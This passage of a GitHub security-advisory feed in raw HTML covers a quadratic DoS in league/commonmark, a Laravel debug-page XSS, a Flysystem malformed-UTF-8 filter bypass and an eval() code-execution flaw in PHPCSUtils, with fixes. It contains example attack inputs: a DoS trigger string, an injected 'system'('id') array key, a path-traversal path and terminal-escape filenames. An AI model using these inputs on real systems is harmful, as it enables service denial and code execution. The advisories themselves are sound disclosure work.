&lt;p&gt;Letter-leading input scales linearly (doubles per input doubling) because &lt;code class=&quot;notranslate&quot;&gt;SkipLinesStartingWithLettersParser&lt;/code&gt; aborts before the Table parser is reached. Non-letter-leading input quadruples per doubling (0.75, 2.36, 7.70, 27.81), confirming O(M^2) behavior attributable to the Table start parser.&lt;/p&gt;
&lt;h2&gt;Attack Chain&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Exposure:&lt;/strong&gt; The attacker submits a Markdown body to any endpoint that converts untrusted Markdown with &lt;code class=&quot;notranslate&quot;&gt;GithubFlavoredMarkdownConverter&lt;/code&gt;, or any environment that adds &lt;code class=&quot;notranslate&quot;&gt;TableExtension&lt;/code&gt;. The default GFM bundle registers the Table extension: &lt;code class=&quot;notranslate&quot;&gt;GithubFlavoredMarkdownExtension&lt;/code&gt; adds &lt;code class=&quot;notranslate&quot;&gt;TableExtension&lt;/code&gt; (src/Extension/GithubFlavoredMarkdownExtension.php:30), which registers &lt;code class=&quot;notranslate&quot;&gt;TableStartParser&lt;/code&gt; (src/Extension/Table/TableExtension.php:56).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Control:&lt;/strong&gt; The attacker fully controls the Markdown body. The exploit input is one paragraph with no blank lines, no &lt;code class=&quot;notranslate&quot;&gt;|&lt;/code&gt; character, and lines that do not begin with a letter (for example &lt;code class=&quot;notranslate&quot;&gt;str_repeat(&quot;12345678\n&quot;, 200000)&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Path:&lt;/strong&gt; &lt;code class=&quot;notranslate&quot;&gt;MarkdownParser::parseLine()&lt;/code&gt; loops over block-start parsers for every non-blank line while a paragraph is active (src/Parser/MarkdownParser.php:135-147). &lt;code class=&quot;notranslate&quot;&gt;ParagraphParser::tryContinue()&lt;/code&gt; keeps the paragraph open for every non-blank line, so the buffer keeps growing (src/Parser/Block/ParagraphParser.php:46-53), appended line by line in &lt;code class=&quot;notranslate&quot;&gt;ReferenceParser::parse()&lt;/code&gt; (src/Reference/ReferenceParser.php:89-95). Since 2.0.2, the highest-priority &lt;code class=&quot;notranslate&quot;&gt;SkipLinesStartingWithLettersParser&lt;/code&gt; returns &lt;code class=&quot;notranslate&quot;&gt;BlockStart::abort()&lt;/code&gt; for any line whose first non-space character is a letter, short-circuiting &lt;code class=&quot;notranslate&quot;&gt;findBlockStart()&lt;/code&gt; before &lt;code class=&quot;notranslate&quot;&gt;TableStartParser&lt;/code&gt;. When lines begin with a non-letter (e.g. a digit), that parser returns none and every remaining core parser returns null, so control reaches &lt;code class=&quot;notranslate&quot;&gt;TableStartParser&lt;/code&gt; on every line (src/Parser/MarkdownParser.php:224-236).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Guard:&lt;/strong&gt; There is no input-size cap in &lt;code class=&quot;notranslate&quot;&gt;MarkdownInput&lt;/code&gt;, and &lt;code class=&quot;notranslate&quot;&gt;max_nesting_level&lt;/code&gt; defaults to &lt;code class=&quot;notranslate&quot;&gt;PHP_INT_MAX&lt;/code&gt;, which the depth-1 paragraph never approaches. No guard bounds the whole-buffer scan.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Primitive:&lt;/strong&gt; &lt;code class=&quot;notranslate&quot;&gt;TableStartParser::tryStart()&lt;/code&gt; runs &lt;code class=&quot;notranslate&quot;&gt;strpos($paragraph, &#39;|&#39;)&lt;/code&gt; over the entire buffer returned by &lt;code class=&quot;notranslate&quot;&gt;getParagraphContent()&lt;/code&gt; (src/Extension/Table/TableStartParser.php:35-38). With no pipe present, &lt;code class=&quot;notranslate&quot;&gt;strpos&lt;/code&gt; scans to the end of the buffer on every line.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Result:&lt;/strong&gt; Cumulative scanning work is O(M^2). A single small request drives disproportionate, quadratically growing CPU, exhausting worker processes and denying service.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Bypass Evidence&lt;/h2&gt;
&lt;p&gt;No prior fix exists for this code path, so this is not an incomplete-fix or regression case; it is a distinct, previously undisclosed quadratic path. The strongest disproof attempts were made and all failed:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Attempt: the observed quadratic is core-parser or PHP string overhead, not the Table parser. Refuted: the only difference between the two measured configurations is &lt;code class=&quot;notranslate&quot;&gt;TableStartParser&lt;/code&gt;; the core-only baseline is linear while the isolated Table contribution quadruples per input doubling.&lt;/li&gt;
&lt;li&gt;Attempt: &lt;code class=&quot;notranslate&quot;&gt;strpos&lt;/code&gt; short-circuits or the buffer does not actually grow. Refuted by source trace: &lt;code class=&quot;notranslate&quot;&gt;ReferenceParser::parse()&lt;/code&gt; appends every line unconditionally before its state switch, and for pipe-free text &lt;code class=&quot;notranslate&quot;&gt;strpos&lt;/code&gt; finds no &lt;code class=&quot;notranslate&quot;&gt;|&lt;/code&gt; and scans the full buffer each line.&lt;/li&gt;
&lt;li&gt;Attempt: another parser short-circuits before &lt;code class=&quot;notranslate&quot;&gt;TableStartParser&lt;/code&gt;. Partially correct: since 2.0.2 &lt;code class=&quot;notranslate&quot;&gt;SkipLinesStartingWithLettersParser&lt;/code&gt; aborts block-start scanning for lines beginning with a letter, so letter-leading input (including the original &lt;code class=&quot;notranslate&quot;&gt;aaaaaaaa&lt;/code&gt; PoC) never reaches the Table parser and runs in linear time. Input whose lines begin with a non-letter (e.g. a digit) passes every core parser and reaches &lt;code class=&quot;notranslate&quot;&gt;TableStartParser&lt;/code&gt; on every line, exhibiting the quadratic behavior.&lt;/li&gt;
&lt;li&gt;Attempt: an input-size or nesting guard neutralizes it. Refuted: there is no size cap and the default nesting limit is never reached.&lt;/li&gt;
&lt;li&gt;Attempt: this duplicates an existing quadratic-DoS advisory or was already fixed. Refuted: published quadratic advisories address per-line position translation and other distinct mechanisms in other files; &lt;code class=&quot;notranslate&quot;&gt;git log&lt;/code&gt; on &lt;code class=&quot;notranslate&quot;&gt;src/Extension/Table/TableStartParser.php&lt;/code&gt; shows no security fix ever touched this rescan, and the code is present unchanged in the latest release.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Affected Versions&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;notranslate&quot;&gt;Ecosystem: composer&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;notranslate&quot;&gt;Package: league/commonmark&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;notranslate&quot;&gt;Confirmed affected range: &amp;gt;= 2.0.0, &amp;lt;= 2.10.1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;notranslate&quot;&gt;Latest release checked: 2.10.1 (Packagist, repo.packagist.org/p2/league/commonmark.json)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;notranslate&quot;&gt;Fix status: not fixed&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Note: &lt;code class=&quot;notranslate&quot;&gt;SkipLinesStartingWithLettersParser&lt;/code&gt; was introduced in 2.0.2. On 2.0.0 and 2.0.1 the issue can also be triggered with letter-leading lines. Regardless, the underlying quadratic scan itself is present across the whole &amp;gt;= 2.0.0, &amp;lt;= 2.10.1 range.&lt;/p&gt;
&lt;p&gt;The vulnerable rescan is artifact-verified present in tags 2.8.0 and 2.10.1 (the latest published release). The lower bound 2.0.0 is inferred from the 2.x block-parser rewrite that introduced the &lt;code class=&quot;notranslate&quot;&gt;getParagraphContent()&lt;/code&gt;-based architecture this quick check depends on; the checkout contains only tags 2.8.0 through 2.10.1, so the path is not artifact-verified below 2.8.0. No published release removes or bounds the whole-buffer scan.&lt;/p&gt;
&lt;h2&gt;Suggested Fix&lt;/h2&gt;
&lt;p&gt;Enforce that the per-line quick check inspects only the paragraph&#39;s last line, which is the only line that can form a table header. Compute the last line break with &lt;code class=&quot;notranslate&quot;&gt;strrpos($paragraph, &quot;\n&quot;)&lt;/code&gt;, derive the last line, and test &lt;code class=&quot;notranslate&quot;&gt;strpos($lastLine, &#39;|&#39;)&lt;/code&gt; instead of scanning the whole buffer. This bounds the per-line check to the length of the last line and removes the quadratic behavior without changing table detection semantics. As an interim mitigation without a code change, operators can cap the size of untrusted Markdown accepted for conversion, or disable the Table extension for untrusted input, which reduces exposure but does not remove the underlying quadratic path.&lt;/p&gt;
&lt;p&gt;Reported by zx (GitHub: &lt;a class=&quot;user-mention notranslate&quot; data-hovercard-type=&quot;user&quot; data-hovercard-url=&quot;/users/manus-pi/hovercard&quot; data-octo-click=&quot;hovercard-link-click&quot; data-octo-dimensions=&quot;link_type:self&quot; href=&quot;https://github.com/manus-pi&quot;&gt;@manus-pi&lt;/a&gt;).&lt;/p&gt;
&lt;h3&gt;References&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a title=&quot;GHSA-3q6v-r5mr-hxv8&quot; href=&quot;https://github.com/thephpleague/commonmark/security/advisories/GHSA-3q6v-r5mr-hxv8&quot;&gt;GHSA-3q6v-r5mr-hxv8&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/thephpleague/commonmark/commit/5f63680a5e29dd57f9c6be9743b0e90493d3c2d0/hovercard&quot; href=&quot;https://github.com/thephpleague/commonmark/commit/5f63680a5e29dd57f9c6be9743b0e90493d3c2d0&quot;&gt;thephpleague/commonmark@&lt;tt&gt;5f63680&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/thephpleague/commonmark/releases/tag/2.10.2&quot;&gt;https://github.com/thephpleague/commonmark/releases/tag/2.10.2&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
  </description><link>https://github.com/advisories/GHSA-3q6v-r5mr-hxv8</link><guid isPermaLink="false">https://github.com/advisories/GHSA-3q6v-r5mr-hxv8</guid><pubDate>Wed, 30 Sep 2026 15:36:13 GMT</pubDate></item><item><title>Laravel: XSS in Debug Page Information</title><description>&lt;h3&gt;Impact&lt;/h3&gt;
&lt;p&gt;When &lt;code class=&quot;notranslate&quot;&gt;APP_DEBUG=true&lt;/code&gt;, attacker-controlled input is passed to a Tippy.js tooltip configured with &lt;code class=&quot;notranslate&quot;&gt;allowHTML: true&lt;/code&gt;, enabling DOM-based XSS during mouse hover.&lt;/p&gt;
&lt;h3&gt;Patches&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/laravel/framework/pull/61381&quot; data-hovercard-type=&quot;pull_request&quot; data-hovercard-url=&quot;/laravel/framework/pull/61381/hovercard&quot;&gt;#61381&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;References&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a title=&quot;GHSA-jh5r-qr3c-85q8&quot; href=&quot;https://github.com/laravel/framework/security/advisories/GHSA-jh5r-qr3c-85q8&quot;&gt;GHSA-jh5r-qr3c-85q8&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-102279&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2026-102279&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&quot;issue-link js-issue-link&quot; data-error-text=&quot;Failed to load title&quot; data-id=&quot;5300731525&quot; data-permission-text=&quot;Title is private&quot; data-url=&quot;https://github.com/laravel/framework/issues/61381&quot; data-hovercard-type=&quot;pull_request&quot; data-hovercard-url=&quot;/laravel/framework/pull/61381/hovercard&quot; href=&quot;https://github.com/laravel/framework/pull/61381&quot;&gt;laravel/framework#61381&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/laravel/framework/commit/b495ca2ec4e15a977e8700328bf13e8a79f29d12/hovercard&quot; href=&quot;https://github.com/laravel/framework/commit/b495ca2ec4e15a977e8700328bf13e8a79f29d12&quot;&gt;laravel/framework@&lt;tt&gt;b495ca2&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/laravel/framework/releases/tag/v12.69.0&quot;&gt;https://github.com/laravel/framework/releases/tag/v12.69.0&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/laravel/framework/releases/tag/v13.30.0&quot;&gt;https://github.com/laravel/framework/releases/tag/v13.30.0&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
  </description><link>https://github.com/advisories/GHSA-jh5r-qr3c-85q8</link><guid isPermaLink="false">https://github.com/advisories/GHSA-jh5r-qr3c-85q8</guid><pubDate>Tue, 29 Sep 2026 18:24:25 GMT</pubDate></item><item><title>Flysystem: WhitespacePathNormalizer&#39;s control-character (CorruptedPathDetected) check is bypassed by malformed UTF-8 in the path, affecting every adap...</title><description>&lt;h2&gt;Related public issue (context, not a duplicate)&lt;/h2&gt;
&lt;p&gt;Closed issue #1429 (&quot;Handle non-UTF-8 paths&quot;, 2024-03-24) raised exactly this general concern and&lt;br&gt;
even suggested detection via &lt;code class=&quot;notranslate&quot;&gt;preg_match(&#39;//u&#39;, $path) !== 1&lt;/code&gt; -- note the reporter&#39;s suggested check&lt;br&gt;
explicitly compares &lt;code class=&quot;notranslate&quot;&gt;!== 1&lt;/code&gt;, which &lt;em&gt;would&lt;/em&gt; correctly treat PCRE&#39;s &lt;code class=&quot;notranslate&quot;&gt;false&lt;/code&gt; return as &quot;reject.&quot; The&lt;br&gt;
maintainer&#39;s reply pointed to the &lt;code class=&quot;notranslate&quot;&gt;PathNormalizer&lt;/code&gt; interface as the place to implement this. The&lt;br&gt;
control-character check that ended up shipping in &lt;code class=&quot;notranslate&quot;&gt;WhitespacePathNormalizer&lt;/code&gt;&lt;br&gt;
(&lt;code class=&quot;notranslate&quot;&gt;if (preg_match(&#39;#\p{C}+#u&#39;, $unixPath))&lt;/code&gt;) addresses the general concern but does &lt;strong&gt;not&lt;/strong&gt; use the&lt;br&gt;
&lt;code class=&quot;notranslate&quot;&gt;!== 1&lt;/code&gt;-style comparison the original issue suggested -- it uses a bare truthy check, which is exactly&lt;br&gt;
the gap this report demonstrates. So this is not a duplicate of #1429; it&#39;s a concrete bypass&lt;br&gt;
surviving in the fix that issue&#39;s concern led to.&lt;/p&gt;
&lt;h2&gt;Vulnerability Details&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;File&lt;/strong&gt;: &lt;code class=&quot;notranslate&quot;&gt;src/WhitespacePathNormalizer.php&lt;/code&gt;, lines 22-28 (&lt;code class=&quot;notranslate&quot;&gt;normalizePath()&lt;/code&gt;) -- the &lt;strong&gt;default&lt;/strong&gt;&lt;br&gt;
&lt;code class=&quot;notranslate&quot;&gt;PathNormalizer&lt;/code&gt; used by &lt;code class=&quot;notranslate&quot;&gt;Filesystem&lt;/code&gt; for every adapter (Local, FTP, SFTP, S3, AsyncAwsS3, Azure, GCS,&lt;br&gt;
ZipArchive, GridFS, InMemory) unless the application supplies a custom one.&lt;/p&gt;
&lt;h3&gt;Root Cause&lt;/h3&gt;
&lt;div class=&quot;highlight highlight-text-html-php&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&lt;span class=&quot;pl-k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;pl-k&quot;&gt;function&lt;/span&gt; normalizePath(&lt;span class=&quot;pl-smi&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;path&lt;/span&gt;): &lt;span class=&quot;pl-smi&quot;&gt;string&lt;/span&gt;
{
    &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;unixPath&lt;/span&gt; = &lt;span class=&quot;pl-en&quot;&gt;str_replace&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;&#39;\\&#39;&lt;/span&gt;, &lt;span class=&quot;pl-s&quot;&gt;&#39;&lt;span class=&quot;pl-s&quot;&gt;/&lt;/span&gt;&#39;&lt;/span&gt;, &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;path&lt;/span&gt;);

    &lt;span class=&quot;pl-k&quot;&gt;if&lt;/span&gt; (&lt;span class=&quot;pl-en&quot;&gt;preg_match&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;&#39;&lt;span class=&quot;pl-s&quot;&gt;#\p{C}+#u&lt;/span&gt;&#39;&lt;/span&gt;, &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;unixPath&lt;/span&gt;)) {
        &lt;span class=&quot;pl-k&quot;&gt;throw&lt;/span&gt; CorruptedPathDetected::&lt;span class=&quot;pl-en&quot;&gt;forPath&lt;/span&gt;(&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;path&lt;/span&gt;);
    }
    &lt;span class=&quot;pl-c1&quot;&gt;.&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;.&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;notranslate&quot;&gt;preg_match()&lt;/code&gt; returns &lt;code class=&quot;notranslate&quot;&gt;false&lt;/code&gt; (a PHP engine error) rather than &lt;code class=&quot;notranslate&quot;&gt;0&lt;/code&gt; when the subject string is not&lt;br&gt;
valid UTF-8 and the pattern uses the &lt;code class=&quot;notranslate&quot;&gt;/u&lt;/code&gt; modifier -- PCRE can&#39;t even attempt the match. &lt;code class=&quot;notranslate&quot;&gt;false&lt;/code&gt; and&lt;br&gt;
&lt;code class=&quot;notranslate&quot;&gt;0&lt;/code&gt; are both falsy in PHP, and &lt;code class=&quot;notranslate&quot;&gt;if (preg_match(...))&lt;/code&gt; does not distinguish them. So a path containing&lt;br&gt;
&lt;strong&gt;any single invalid UTF-8 byte anywhere in the string&lt;/strong&gt; makes &lt;code class=&quot;notranslate&quot;&gt;preg_match()&lt;/code&gt; fail with a &quot;Malformed&lt;br&gt;
UTF-8 characters&quot; engine error, the &lt;code class=&quot;notranslate&quot;&gt;if&lt;/code&gt; evaluates false, and &lt;code class=&quot;notranslate&quot;&gt;CorruptedPathDetected&lt;/code&gt; is silently &lt;strong&gt;not&lt;/strong&gt;&lt;br&gt;
thrown -- even when the same string also contains literal control characters this exact check exists&lt;br&gt;
to catch.&lt;/p&gt;
&lt;p&gt;the identical payload IS correctly rejected once it&#39;s valid UTF-8:&lt;/p&gt;
&lt;div class=&quot;highlight highlight-text-html-php&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;n&lt;/span&gt;-&amp;gt;&lt;span class=&quot;pl-en&quot;&gt;normalizePath&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;&quot;&lt;span class=&quot;pl-s&quot;&gt;foo&lt;/span&gt;\x1b&lt;span class=&quot;pl-s&quot;&gt;bar&lt;/span&gt;&quot;&lt;/span&gt;);         &lt;span class=&quot;pl-c&quot;&gt;// valid UTF-8, contains ESC -&amp;gt; throws CorruptedPathDetected (correct)&lt;/span&gt;
&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;n&lt;/span&gt;-&amp;gt;&lt;span class=&quot;pl-en&quot;&gt;normalizePath&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;&quot;&lt;span class=&quot;pl-s&quot;&gt;foo&lt;/span&gt;\x80\x1b&lt;span class=&quot;pl-s&quot;&gt;bar&lt;/span&gt;&quot;&lt;/span&gt;);    &lt;span class=&quot;pl-c&quot;&gt;// 0x80 = invalid lone UTF-8 continuation byte -&amp;gt; NOT thrown (bypass)&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The path-traversal protection is &lt;strong&gt;unaffected&lt;/strong&gt; -- it&#39;s exact byte-string comparison on&lt;br&gt;
&lt;code class=&quot;notranslate&quot;&gt;/&lt;/code&gt;-delimited segments, independent of UTF-8 validity:&lt;/p&gt;
&lt;div class=&quot;highlight highlight-text-html-php&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;n&lt;/span&gt;-&amp;gt;&lt;span class=&quot;pl-en&quot;&gt;normalizePath&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;&quot;\x80&lt;span class=&quot;pl-s&quot;&gt;/../../etc/passwd&lt;/span&gt;&quot;&lt;/span&gt;);   &lt;span class=&quot;pl-c&quot;&gt;// still throws PathTraversalDetected&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Recommended Fix&lt;/h3&gt;
&lt;div class=&quot;highlight highlight-text-html-php&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&lt;span class=&quot;pl-k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;pl-k&quot;&gt;function&lt;/span&gt; normalizePath(&lt;span class=&quot;pl-smi&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;path&lt;/span&gt;): &lt;span class=&quot;pl-smi&quot;&gt;string&lt;/span&gt;
{
    &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;unixPath&lt;/span&gt; = &lt;span class=&quot;pl-en&quot;&gt;str_replace&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;&#39;\\&#39;&lt;/span&gt;, &lt;span class=&quot;pl-s&quot;&gt;&#39;&lt;span class=&quot;pl-s&quot;&gt;/&lt;/span&gt;&#39;&lt;/span&gt;, &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;path&lt;/span&gt;);
    &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;matched&lt;/span&gt; = &lt;span class=&quot;pl-en&quot;&gt;preg_match&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;&#39;&lt;span class=&quot;pl-s&quot;&gt;#\p{C}+#u&lt;/span&gt;&#39;&lt;/span&gt;, &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;unixPath&lt;/span&gt;);

    &lt;span class=&quot;pl-k&quot;&gt;if&lt;/span&gt; (&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;matched&lt;/span&gt; !== &lt;span class=&quot;pl-c1&quot;&gt;0&lt;/span&gt;) {
        &lt;span class=&quot;pl-c&quot;&gt;// $matched === false means malformed UTF-8 -- must also be treated as corrupted,&lt;/span&gt;
        &lt;span class=&quot;pl-c&quot;&gt;// not silently allowed through.&lt;/span&gt;
        &lt;span class=&quot;pl-k&quot;&gt;throw&lt;/span&gt; CorruptedPathDetected::&lt;span class=&quot;pl-en&quot;&gt;forPath&lt;/span&gt;(&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;path&lt;/span&gt;);
    }
    &lt;span class=&quot;pl-c1&quot;&gt;.&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;.&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Verification&lt;/h3&gt;
&lt;p&gt;Dynamically confirmed on &lt;code class=&quot;notranslate&quot;&gt;league/flysystem&lt;/code&gt; HEAD &lt;code class=&quot;notranslate&quot;&gt;6837e1d&lt;/code&gt; / tag &lt;code class=&quot;notranslate&quot;&gt;3.35.2&lt;/code&gt;, PHP 8.4.22 CLI, end-to-end&lt;br&gt;
through &lt;code class=&quot;notranslate&quot;&gt;LocalFilesystemAdapter&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;notranslate&quot;&gt;&lt;code class=&quot;notranslate&quot;&gt;[1] write() succeeded -- normalizer did NOT reject the path.
[2] Actual bytes on disk: ...801b5b386d6e6f726d616c2d6c6f6f6b696e672d66696c652e7478741b5b306d...
[3] Filesystem::listContents() path contains raw ESC (0x1b): YES
[4] Raw terminal output (via `cat -v`): M-^@^[[8mnormal-looking-file.txt^[[0m^[[2K^[[1Aurgent-invoice.pdf
### References
- https://github.com/thephpleague/flysystem/security/advisories/GHSA-cxf4-7mrp-vvpr
- https://github.com/thephpleague/flysystem/commit/ef4a9a557d769b5d472c403125716706a0d9cc77
- https://github.com/thephpleague/flysystem/releases/tag/3.35.3
- https://nvd.nist.gov/vuln/detail/CVE-2026-102601
&lt;/code&gt;&lt;/pre&gt;
  </description><link>https://github.com/advisories/GHSA-cxf4-7mrp-vvpr</link><guid isPermaLink="false">https://github.com/advisories/GHSA-cxf4-7mrp-vvpr</guid><pubDate>Tue, 29 Sep 2026 18:10:14 GMT</pubDate></item><item><title>PHPCSUtils: Remote code execution via eval() in AbstractArrayDeclarationSniff::getActualArrayKey()</title><description>&lt;h3&gt;Impact&lt;/h3&gt;
&lt;p&gt;PHPCSUtils versions 1.0.0-alpha1 through 1.2.2 contain an arbitrary code execution vulnerability in &lt;code class=&quot;notranslate&quot;&gt;PHPCSUtils\AbstractSniffs\AbstractArrayDeclarationSniff::getActualArrayKey()&lt;/code&gt;. The vulnerable method is reached by any sniff that extends &lt;code class=&quot;notranslate&quot;&gt;AbstractArrayDeclarationSniff&lt;/code&gt; and calls &lt;code class=&quot;notranslate&quot;&gt;getActualArrayKey()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Running PHPCS over untrusted PHP code through such a sniff, for example, in a CI pipeline that lints pull requests, or on a developer machine reviewing third-party code, could lead to arbitrary command execution on the scanning host.&lt;/p&gt;
&lt;p&gt;The vulnerability happens when the method determines the value of an array key using &lt;code class=&quot;notranslate&quot;&gt;eval()&lt;/code&gt;. A maliciously crafted array key such as &lt;code class=&quot;notranslate&quot;&gt;&#39;system&#39;(&#39;id&#39;)&lt;/code&gt; would be executed when the code was scanned.&lt;/p&gt;
&lt;h3&gt;Known attack vectors&lt;/h3&gt;
&lt;p&gt;Known code paths that reach the vulnerable method include the following PHPCSExtra sniffs:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;notranslate&quot;&gt;Universal.Arrays.DuplicateArrayKey&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;notranslate&quot;&gt;Universal.Arrays.MixedArrayKeyTypes&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Other packages that call &lt;code class=&quot;notranslate&quot;&gt;AbstractArrayDeclarationSniff::getActualArrayKey()&lt;/code&gt; may also be vulnerable.&lt;/p&gt;
&lt;h3&gt;Patches&lt;/h3&gt;
&lt;p&gt;This issue has been fixed in PHPCSUtils 1.2.3. We recommend all users upgrade to 1.2.3 or later.&lt;/p&gt;
&lt;h3&gt;Workaround&lt;/h3&gt;
&lt;p&gt;Users who cannot upgrade immediately can disable the sniffs that reach the vulnerable method by adding &lt;code class=&quot;notranslate&quot;&gt;&amp;lt;exclude&amp;gt;&lt;/code&gt; tags to their custom ruleset (replace the placeholder standard and sniff names with the ones used in your setup):&lt;/p&gt;
&lt;div class=&quot;highlight highlight-text-xml&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&amp;lt;&lt;span class=&quot;pl-ent&quot;&gt;rule&lt;/span&gt; &lt;span class=&quot;pl-e&quot;&gt;ref&lt;/span&gt;=&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;Standard&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&amp;gt;
&amp;lt;&lt;span class=&quot;pl-ent&quot;&gt;exclude&lt;/span&gt; &lt;span class=&quot;pl-e&quot;&gt;name&lt;/span&gt;=&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;Standard.Category.SniffName&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;/&amp;gt;
&amp;lt;/&lt;span class=&quot;pl-ent&quot;&gt;rule&lt;/span&gt;&amp;gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;For example, to disable the two PHPCSExtra sniffs listed under &quot;Known attack vectors&quot;:&lt;/p&gt;
&lt;div class=&quot;highlight highlight-text-xml&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&amp;lt;&lt;span class=&quot;pl-ent&quot;&gt;rule&lt;/span&gt; &lt;span class=&quot;pl-e&quot;&gt;ref&lt;/span&gt;=&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;Universal&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&amp;gt;
